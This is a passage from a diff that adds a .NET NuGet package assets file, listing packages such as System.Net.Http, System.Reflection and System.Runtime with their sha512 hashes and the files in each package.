"ref/netcore50/ko/System.Linq.Expressions.xml", + "ref/netcore50/ru/System.Linq.Expressions.xml", + "ref/netcore50/zh-hans/System.Linq.Expressions.xml", + "ref/netcore50/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.0/System.Linq.Expressions.dll", + "ref/netstandard1.0/System.Linq.Expressions.xml", + "ref/netstandard1.0/de/System.Linq.Expressions.xml", + "ref/netstandard1.0/es/System.Linq.Expressions.xml", + "ref/netstandard1.0/fr/System.Linq.Expressions.xml", + "ref/netstandard1.0/it/System.Linq.Expressions.xml", + "ref/netstandard1.0/ja/System.Linq.Expressions.xml", + "ref/netstandard1.0/ko/System.Linq.Expressions.xml", + "ref/netstandard1.0/ru/System.Linq.Expressions.xml", + "ref/netstandard1.0/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.0/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.3/System.Linq.Expressions.dll", + "ref/netstandard1.3/System.Linq.Expressions.xml", + "ref/netstandard1.3/de/System.Linq.Expressions.xml", + "ref/netstandard1.3/es/System.Linq.Expressions.xml", + "ref/netstandard1.3/fr/System.Linq.Expressions.xml", + "ref/netstandard1.3/it/System.Linq.Expressions.xml", + "ref/netstandard1.3/ja/System.Linq.Expressions.xml", + "ref/netstandard1.3/ko/System.Linq.Expressions.xml", + "ref/netstandard1.3/ru/System.Linq.Expressions.xml", + "ref/netstandard1.3/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.3/zh-hant/System.Linq.Expressions.xml", + "ref/netstandard1.6/System.Linq.Expressions.dll", + "ref/netstandard1.6/System.Linq.Expressions.xml", + "ref/netstandard1.6/de/System.Linq.Expressions.xml", + "ref/netstandard1.6/es/System.Linq.Expressions.xml", + "ref/netstandard1.6/fr/System.Linq.Expressions.xml", + "ref/netstandard1.6/it/System.Linq.Expressions.xml", + "ref/netstandard1.6/ja/System.Linq.Expressions.xml", + "ref/netstandard1.6/ko/System.Linq.Expressions.xml", + "ref/netstandard1.6/ru/System.Linq.Expressions.xml", + "ref/netstandard1.6/zh-hans/System.Linq.Expressions.xml", + "ref/netstandard1.6/zh-hant/System.Linq.Expressions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/aot/lib/netcore50/System.Linq.Expressions.dll", + "system.linq.expressions.4.3.0.nupkg.sha512", + "system.linq.expressions.nuspec" + ] + }, + "System.Memory/4.6.0": { + "sha512": "OEkbBQoklHngJ8UD8ez2AERSk2g+/qpAaSWWCBFbpH727HxDq5ydVkuncBaKcKfwRqXGWx64dS6G1SUScMsitg==", + "type": "package", + "path": "system.memory/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Memory.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Memory.dll", + "lib/net462/System.Memory.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard2.0/System.Memory.dll", + "lib/netstandard2.0/System.Memory.xml", + "system.memory.4.6.0.nupkg.sha512", + "system.memory.nuspec" + ] + }, + "System.Net.Http/4.3.0": { + "sha512": "sYg+FtILtRQuYWSIAuNOELwVuVsxVyJGWQyOnlAzhV4xvhyFnON1bAzYYC+jjRW8JREM45R0R5Dgi8MTC5sEwA==", + "type": "package", + "path": "system.net.http/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/Xamarinmac20/_._", + "lib/monoandroid10/_._", + "lib/monotouch10/_._", + "lib/net45/_._", + "lib/net46/System.Net.Http.dll", + "lib/portable-net45+win8+wpa81/_._", + "lib/win8/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/Xamarinmac20/_._", + "ref/monoandroid10/_._", + "ref/monotouch10/_._", + "ref/net45/_._", + "ref/net46/System.Net.Http.dll", + "ref/net46/System.Net.Http.xml", + "ref/net46/de/System.Net.Http.xml", + "ref/net46/es/System.Net.Http.xml", + "ref/net46/fr/System.Net.Http.xml", + "ref/net46/it/System.Net.Http.xml", + "ref/net46/ja/System.Net.Http.xml", + "ref/net46/ko/System.Net.Http.xml", + "ref/net46/ru/System.Net.Http.xml", + "ref/net46/zh-hans/System.Net.Http.xml", + "ref/net46/zh-hant/System.Net.Http.xml", + "ref/netcore50/System.Net.Http.dll", + "ref/netcore50/System.Net.Http.xml", + "ref/netcore50/de/System.Net.Http.xml", + "ref/netcore50/es/System.Net.Http.xml", + "ref/netcore50/fr/System.Net.Http.xml", + "ref/netcore50/it/System.Net.Http.xml", + "ref/netcore50/ja/System.Net.Http.xml", + "ref/netcore50/ko/System.Net.Http.xml", + "ref/netcore50/ru/System.Net.Http.xml", + "ref/netcore50/zh-hans/System.Net.Http.xml", + "ref/netcore50/zh-hant/System.Net.Http.xml", + "ref/netstandard1.1/System.Net.Http.dll", + "ref/netstandard1.1/System.Net.Http.xml", + "ref/netstandard1.1/de/System.Net.Http.xml", + "ref/netstandard1.1/es/System.Net.Http.xml", + "ref/netstandard1.1/fr/System.Net.Http.xml", + "ref/netstandard1.1/it/System.Net.Http.xml", + "ref/netstandard1.1/ja/System.Net.Http.xml", + "ref/netstandard1.1/ko/System.Net.Http.xml", + "ref/netstandard1.1/ru/System.Net.Http.xml", + "ref/netstandard1.1/zh-hans/System.Net.Http.xml", + "ref/netstandard1.1/zh-hant/System.Net.Http.xml", + "ref/netstandard1.3/System.Net.Http.dll", + "ref/netstandard1.3/System.Net.Http.xml", + "ref/netstandard1.3/de/System.Net.Http.xml", + "ref/netstandard1.3/es/System.Net.Http.xml", + "ref/netstandard1.3/fr/System.Net.Http.xml", + "ref/netstandard1.3/it/System.Net.Http.xml", + "ref/netstandard1.3/ja/System.Net.Http.xml", + "ref/netstandard1.3/ko/System.Net.Http.xml", + "ref/netstandard1.3/ru/System.Net.Http.xml", + "ref/netstandard1.3/zh-hans/System.Net.Http.xml", + "ref/netstandard1.3/zh-hant/System.Net.Http.xml", + "ref/portable-net45+win8+wpa81/_._", + "ref/win8/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "runtimes/unix/lib/netstandard1.6/System.Net.Http.dll", + "runtimes/win/lib/net46/System.Net.Http.dll", + "runtimes/win/lib/netcore50/System.Net.Http.dll", + "runtimes/win/lib/netstandard1.3/System.Net.Http.dll", + "system.net.http.4.3.0.nupkg.sha512", + "system.net.http.nuspec" + ] + }, + "System.Net.Primitives/4.3.0": { + "sha512": "qOu+hDwFwoZPbzPvwut2qATe3ygjeQBDQj91xlsaqGFQUI5i4ZnZb8yyQuLGpDGivEPIt8EJkd1BVzVoP31FXA==", + "type": "package", + "path": "system.net.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Net.Primitives.dll", + "ref/netcore50/System.Net.Primitives.xml", + "ref/netcore50/de/System.Net.Primitives.xml", + "ref/netcore50/es/System.Net.Primitives.xml", + "ref/netcore50/fr/System.Net.Primitives.xml", + "ref/netcore50/it/System.Net.Primitives.xml", + "ref/netcore50/ja/System.Net.Primitives.xml", + "ref/netcore50/ko/System.Net.Primitives.xml", + "ref/netcore50/ru/System.Net.Primitives.xml", + "ref/netcore50/zh-hans/System.Net.Primitives.xml", + "ref/netcore50/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.0/System.Net.Primitives.dll", + "ref/netstandard1.0/System.Net.Primitives.xml", + "ref/netstandard1.0/de/System.Net.Primitives.xml", + "ref/netstandard1.0/es/System.Net.Primitives.xml", + "ref/netstandard1.0/fr/System.Net.Primitives.xml", + "ref/netstandard1.0/it/System.Net.Primitives.xml", + "ref/netstandard1.0/ja/System.Net.Primitives.xml", + "ref/netstandard1.0/ko/System.Net.Primitives.xml", + "ref/netstandard1.0/ru/System.Net.Primitives.xml", + "ref/netstandard1.0/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.0/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.1/System.Net.Primitives.dll", + "ref/netstandard1.1/System.Net.Primitives.xml", + "ref/netstandard1.1/de/System.Net.Primitives.xml", + "ref/netstandard1.1/es/System.Net.Primitives.xml", + "ref/netstandard1.1/fr/System.Net.Primitives.xml", + "ref/netstandard1.1/it/System.Net.Primitives.xml", + "ref/netstandard1.1/ja/System.Net.Primitives.xml", + "ref/netstandard1.1/ko/System.Net.Primitives.xml", + "ref/netstandard1.1/ru/System.Net.Primitives.xml", + "ref/netstandard1.1/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.1/zh-hant/System.Net.Primitives.xml", + "ref/netstandard1.3/System.Net.Primitives.dll", + "ref/netstandard1.3/System.Net.Primitives.xml", + "ref/netstandard1.3/de/System.Net.Primitives.xml", + "ref/netstandard1.3/es/System.Net.Primitives.xml", + "ref/netstandard1.3/fr/System.Net.Primitives.xml", + "ref/netstandard1.3/it/System.Net.Primitives.xml", + "ref/netstandard1.3/ja/System.Net.Primitives.xml", + "ref/netstandard1.3/ko/System.Net.Primitives.xml", + "ref/netstandard1.3/ru/System.Net.Primitives.xml", + "ref/netstandard1.3/zh-hans/System.Net.Primitives.xml", + "ref/netstandard1.3/zh-hant/System.Net.Primitives.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.net.primitives.4.3.0.nupkg.sha512", + "system.net.primitives.nuspec" + ] + }, + "System.Net.Sockets/4.3.0": { + "sha512": "m6icV6TqQOAdgt5N/9I5KNpjom/5NFtkmGseEH+AK/hny8XrytLH3+b5M8zL/Ycg3fhIocFpUMyl/wpFnVRvdw==", + "type": "package", + "path": "system.net.sockets/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net46/System.Net.Sockets.dll", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net46/System.Net.Sockets.dll", + "ref/netstandard1.3/System.Net.Sockets.dll", + "ref/netstandard1.3/System.Net.Sockets.xml", + "ref/netstandard1.3/de/System.Net.Sockets.xml", + "ref/netstandard1.3/es/System.Net.Sockets.xml", + "ref/netstandard1.3/fr/System.Net.Sockets.xml", + "ref/netstandard1.3/it/System.Net.Sockets.xml", + "ref/netstandard1.3/ja/System.Net.Sockets.xml", + "ref/netstandard1.3/ko/System.Net.Sockets.xml", + "ref/netstandard1.3/ru/System.Net.Sockets.xml", + "ref/netstandard1.3/zh-hans/System.Net.Sockets.xml", + "ref/netstandard1.3/zh-hant/System.Net.Sockets.xml", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.net.sockets.4.3.0.nupkg.sha512", + "system.net.sockets.nuspec" + ] + }, + "System.Numerics.Vectors/4.6.0": { + "sha512": "t+SoieZsRuEyiw/J+qXUbolyO219tKQQI0+2/YI+Qv7YdGValA6WiuokrNKqjrTNsy5ABWU11bdKOzUdheteXg==", + "type": "package", + "path": "system.numerics.vectors/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Numerics.Vectors.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Numerics.Vectors.dll", + "lib/net462/System.Numerics.Vectors.xml", + "lib/netcoreapp2.0/_._", + "lib/netstandard2.0/System.Numerics.Vectors.dll", + "lib/netstandard2.0/System.Numerics.Vectors.xml", + "system.numerics.vectors.4.6.0.nupkg.sha512", + "system.numerics.vectors.nuspec" + ] + }, + "System.ObjectModel/4.3.0": { + "sha512": "bdX+80eKv9bN6K4N+d77OankKHGn6CH711a6fcOpMQu2Fckp/Ft4L/kW9WznHpyR0NRAvJutzOMHNNlBGvxQzQ==", + "type": "package", + "path": "system.objectmodel/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/netcore50/System.ObjectModel.dll", + "lib/netstandard1.3/System.ObjectModel.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.ObjectModel.dll", + "ref/netcore50/System.ObjectModel.xml", + "ref/netcore50/de/System.ObjectModel.xml", + "ref/netcore50/es/System.ObjectModel.xml", + "ref/netcore50/fr/System.ObjectModel.xml", + "ref/netcore50/it/System.ObjectModel.xml", + "ref/netcore50/ja/System.ObjectModel.xml", + "ref/netcore50/ko/System.ObjectModel.xml", + "ref/netcore50/ru/System.ObjectModel.xml", + "ref/netcore50/zh-hans/System.ObjectModel.xml", + "ref/netcore50/zh-hant/System.ObjectModel.xml", + "ref/netstandard1.0/System.ObjectModel.dll", + "ref/netstandard1.0/System.ObjectModel.xml", + "ref/netstandard1.0/de/System.ObjectModel.xml", + "ref/netstandard1.0/es/System.ObjectModel.xml", + "ref/netstandard1.0/fr/System.ObjectModel.xml", + "ref/netstandard1.0/it/System.ObjectModel.xml", + "ref/netstandard1.0/ja/System.ObjectModel.xml", + "ref/netstandard1.0/ko/System.ObjectModel.xml", + "ref/netstandard1.0/ru/System.ObjectModel.xml", + "ref/netstandard1.0/zh-hans/System.ObjectModel.xml", + "ref/netstandard1.0/zh-hant/System.ObjectModel.xml", + "ref/netstandard1.3/System.ObjectModel.dll", + "ref/netstandard1.3/System.ObjectModel.xml", + "ref/netstandard1.3/de/System.ObjectModel.xml", + "ref/netstandard1.3/es/System.ObjectModel.xml", + "ref/netstandard1.3/fr/System.ObjectModel.xml", + "ref/netstandard1.3/it/System.ObjectModel.xml", + "ref/netstandard1.3/ja/System.ObjectModel.xml", + "ref/netstandard1.3/ko/System.ObjectModel.xml", + "ref/netstandard1.3/ru/System.ObjectModel.xml", + "ref/netstandard1.3/zh-hans/System.ObjectModel.xml", + "ref/netstandard1.3/zh-hant/System.ObjectModel.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.objectmodel.4.3.0.nupkg.sha512", + "system.objectmodel.nuspec" + ] + }, + "System.Reflection/4.3.0": { + "sha512": "KMiAFoW7MfJGa9nDFNcfu+FpEdiHpWgTcS2HdMpDvt9saK3y/G4GwprPyzqjFH9NTaGPQeWNHU+iDlDILj96aQ==", + "type": "package", + "path": "system.reflection/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Reflection.dll", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Reflection.dll", + "ref/netcore50/System.Reflection.dll", + "ref/netcore50/System.Reflection.xml", + "ref/netcore50/de/System.Reflection.xml", + "ref/netcore50/es/System.Reflection.xml", + "ref/netcore50/fr/System.Reflection.xml", + "ref/netcore50/it/System.Reflection.xml", + "ref/netcore50/ja/System.Reflection.xml", + "ref/netcore50/ko/System.Reflection.xml", + "ref/netcore50/ru/System.Reflection.xml", + "ref/netcore50/zh-hans/System.Reflection.xml", + "ref/netcore50/zh-hant/System.Reflection.xml", + "ref/netstandard1.0/System.Reflection.dll", + "ref/netstandard1.0/System.Reflection.xml", + "ref/netstandard1.0/de/System.Reflection.xml", + "ref/netstandard1.0/es/System.Reflection.xml", + "ref/netstandard1.0/fr/System.Reflection.xml", + "ref/netstandard1.0/it/System.Reflection.xml", + "ref/netstandard1.0/ja/System.Reflection.xml", + "ref/netstandard1.0/ko/System.Reflection.xml", + "ref/netstandard1.0/ru/System.Reflection.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.xml", + "ref/netstandard1.3/System.Reflection.dll", + "ref/netstandard1.3/System.Reflection.xml", + "ref/netstandard1.3/de/System.Reflection.xml", + "ref/netstandard1.3/es/System.Reflection.xml", + "ref/netstandard1.3/fr/System.Reflection.xml", + "ref/netstandard1.3/it/System.Reflection.xml", + "ref/netstandard1.3/ja/System.Reflection.xml", + "ref/netstandard1.3/ko/System.Reflection.xml", + "ref/netstandard1.3/ru/System.Reflection.xml", + "ref/netstandard1.3/zh-hans/System.Reflection.xml", + "ref/netstandard1.3/zh-hant/System.Reflection.xml", + "ref/netstandard1.5/System.Reflection.dll", + "ref/netstandard1.5/System.Reflection.xml", + "ref/netstandard1.5/de/System.Reflection.xml", + "ref/netstandard1.5/es/System.Reflection.xml", + "ref/netstandard1.5/fr/System.Reflection.xml", + "ref/netstandard1.5/it/System.Reflection.xml", + "ref/netstandard1.5/ja/System.Reflection.xml", + "ref/netstandard1.5/ko/System.Reflection.xml", + "ref/netstandard1.5/ru/System.Reflection.xml", + "ref/netstandard1.5/zh-hans/System.Reflection.xml", + "ref/netstandard1.5/zh-hant/System.Reflection.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.4.3.0.nupkg.sha512", + "system.reflection.nuspec" + ] + }, + "System.Reflection.Extensions/4.3.0": { + "sha512": "rJkrJD3kBI5B712aRu4DpSIiHRtr6QlfZSQsb0hYHrDCZORXCFjQfoipo2LaMUHoT9i1B7j7MnfaEKWDFmFQNQ==", + "type": "package", + "path": "system.reflection.extensions/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Reflection.Extensions.dll", + "ref/netcore50/System.Reflection.Extensions.xml", + "ref/netcore50/de/System.Reflection.Extensions.xml", + "ref/netcore50/es/System.Reflection.Extensions.xml", + "ref/netcore50/fr/System.Reflection.Extensions.xml", + "ref/netcore50/it/System.Reflection.Extensions.xml", + "ref/netcore50/ja/System.Reflection.Extensions.xml", + "ref/netcore50/ko/System.Reflection.Extensions.xml", + "ref/netcore50/ru/System.Reflection.Extensions.xml", + "ref/netcore50/zh-hans/System.Reflection.Extensions.xml", + "ref/netcore50/zh-hant/System.Reflection.Extensions.xml", + "ref/netstandard1.0/System.Reflection.Extensions.dll", + "ref/netstandard1.0/System.Reflection.Extensions.xml", + "ref/netstandard1.0/de/System.Reflection.Extensions.xml", + "ref/netstandard1.0/es/System.Reflection.Extensions.xml", + "ref/netstandard1.0/fr/System.Reflection.Extensions.xml", + "ref/netstandard1.0/it/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ja/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ko/System.Reflection.Extensions.xml", + "ref/netstandard1.0/ru/System.Reflection.Extensions.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Extensions.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Extensions.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.extensions.4.3.0.nupkg.sha512", + "system.reflection.extensions.nuspec" + ] + }, + "System.Reflection.Primitives/4.3.0": { + "sha512": "5RXItQz5As4xN2/YUDxdpsEkMhvw3e6aNveFXUn4Hl/udNTCNhnKp8lT9fnc3MhvGKh1baak5CovpuQUXHAlIA==", + "type": "package", + "path": "system.reflection.primitives/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Reflection.Primitives.dll", + "ref/netcore50/System.Reflection.Primitives.xml", + "ref/netcore50/de/System.Reflection.Primitives.xml", + "ref/netcore50/es/System.Reflection.Primitives.xml", + "ref/netcore50/fr/System.Reflection.Primitives.xml", + "ref/netcore50/it/System.Reflection.Primitives.xml", + "ref/netcore50/ja/System.Reflection.Primitives.xml", + "ref/netcore50/ko/System.Reflection.Primitives.xml", + "ref/netcore50/ru/System.Reflection.Primitives.xml", + "ref/netcore50/zh-hans/System.Reflection.Primitives.xml", + "ref/netcore50/zh-hant/System.Reflection.Primitives.xml", + "ref/netstandard1.0/System.Reflection.Primitives.dll", + "ref/netstandard1.0/System.Reflection.Primitives.xml", + "ref/netstandard1.0/de/System.Reflection.Primitives.xml", + "ref/netstandard1.0/es/System.Reflection.Primitives.xml", + "ref/netstandard1.0/fr/System.Reflection.Primitives.xml", + "ref/netstandard1.0/it/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ja/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ko/System.Reflection.Primitives.xml", + "ref/netstandard1.0/ru/System.Reflection.Primitives.xml", + "ref/netstandard1.0/zh-hans/System.Reflection.Primitives.xml", + "ref/netstandard1.0/zh-hant/System.Reflection.Primitives.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.reflection.primitives.4.3.0.nupkg.sha512", + "system.reflection.primitives.nuspec" + ] + }, + "System.Resources.ResourceManager/4.3.0": { + "sha512": "/zrcPkkWdZmI4F92gL/TPumP98AVDu/Wxr3CSJGQQ+XN6wbRZcyfSKVoPo17ilb3iOr0cCRqJInGwNMolqhS8A==", + "type": "package", + "path": "system.resources.resourcemanager/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/portable-net45+win8+wp8+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/netcore50/System.Resources.ResourceManager.dll", + "ref/netcore50/System.Resources.ResourceManager.xml", + "ref/netcore50/de/System.Resources.ResourceManager.xml", + "ref/netcore50/es/System.Resources.ResourceManager.xml", + "ref/netcore50/fr/System.Resources.ResourceManager.xml", + "ref/netcore50/it/System.Resources.ResourceManager.xml", + "ref/netcore50/ja/System.Resources.ResourceManager.xml", + "ref/netcore50/ko/System.Resources.ResourceManager.xml", + "ref/netcore50/ru/System.Resources.ResourceManager.xml", + "ref/netcore50/zh-hans/System.Resources.ResourceManager.xml", + "ref/netcore50/zh-hant/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/System.Resources.ResourceManager.dll", + "ref/netstandard1.0/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/de/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/es/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/fr/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/it/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ja/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ko/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/ru/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/zh-hans/System.Resources.ResourceManager.xml", + "ref/netstandard1.0/zh-hant/System.Resources.ResourceManager.xml", + "ref/portable-net45+win8+wp8+wpa81/_._", + "ref/win8/_._", + "ref/wp80/_._", + "ref/wpa81/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.resources.resourcemanager.4.3.0.nupkg.sha512", + "system.resources.resourcemanager.nuspec" + ] + }, + "System.Runtime/4.3.0": { + "sha512": "JufQi0vPQ0xGnAczR13AUFglDyVYt4Kqnz1AZaiKZ5+GICq0/1MH/mO/eAJHt/mHW1zjKBJd7kV26SrxddAhiw==", + "type": "package", + "path": "system.runtime/4.3.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "ThirdPartyNotices.txt", + "dotnet_library_license.txt", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net45/_._", + "lib/net462/System.Runtime.dll", + "lib/portable-net45+win8+wp80+wpa81/_._", + "lib/win8/_._", + "lib/wp80/_._", + "lib/wpa81/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net45/_._", + "ref/net462/System.Runtime.dll", + "ref/netcore50/System.Runtime.dll", + "ref/netcore50/System.Runtime.xml", + "ref/netcore50/de/System.Runtime.xml", + "ref/netcore50/es/System.Runtime.xml", + "ref/netcore50/fr/System.Runtime.xml", + "ref/netcore50/it/System.Runtime.xml", + "ref/netcore50/ja/System.Runtime.xml", + "ref/netcore50/ko/System.Runtime.xml", + "ref/netcore50/ru/System.Runtime.xml", + "ref/netcore50/zh-hans/System.Runtime.xml", + "ref/netcore50/zh-hant/System.Runtime.xml", + "ref/netstandard1.0/System.Runtime.dll", + "ref/netstandard1.0/System.Runtime.xml", + "ref/netstandard1.0/de/System.Runtime.xml", + "ref/netstandard1.0/es/System.Runtime.xml", + "ref/netstandard1.0/fr/System.Runtime.xml", + "ref/netstandard1.0/it/System.Runtime.xml", + "ref/netstandard1.0/ja/System.Runtime.xml", + "ref/netstandard1.0/ko/System.Runtime.xml", + "ref/netstandard1.0/ru/System.Runtime.xml", + "ref/netstandard1.0/zh-hans/System.Runtime.xml", + "ref/netstandard1.0/zh-hant/System.Runtime.xml", + "ref/netstandard1.2/System.Runtime.dll", + "ref/netstandard1.2/System.Runtime.xml", + "ref/netstandard1.2/de/System.Runtime.xml", + "ref/netstandard1.2/es/System.Runtime.xml", + "ref/netstandard1.2/fr/System.Runtime.xml", + "ref/netstandard1.2/it/System.Runtime.xml", + "ref/netstandard1.2/ja/System.Runtime.xml", + "ref/netstandard1.2/ko/System.Runtime.xml", + "ref/netstandard1.2/ru/System.Runtime.xml", + "ref/netstandard1.2/zh-hans/System.Runtime.xml", + "ref/netstandard1.2/zh-hant/System.Runtime.xml", + "ref/netstandard1.3/System.Runtime.dll", + "ref/netstandard1.3/System.Runtime.xml", + "ref/netstandard1.3/de/System.Runtime.xml", + "ref/netstandard1.3/es/System.Runtime.xml", + "ref/netstandard1.3/fr/System.Runtime.xml", + "ref/netstandard1.3/it/System.Runtime.xml", + "ref/netstandard1.3/ja/System.Runtime.xml", + "ref/netstandard1.3/ko/System.Runtime.xml", + "ref/netstandard1.3/ru/System.Runtime.xml", + "ref/netstandard1.3/zh-hans/System.Runtime.xml", + "ref/netstandard1.3/zh-hant/System.Runtime.xml", + "ref/netstandard1.5/System.Runtime.dll", + "ref/netstandard1.5/System.Runtime.xml", + "ref/netstandard1.5/de/System.Runtime.xml", + "ref/netstandard1.5/es/System.Runtime.xml", + 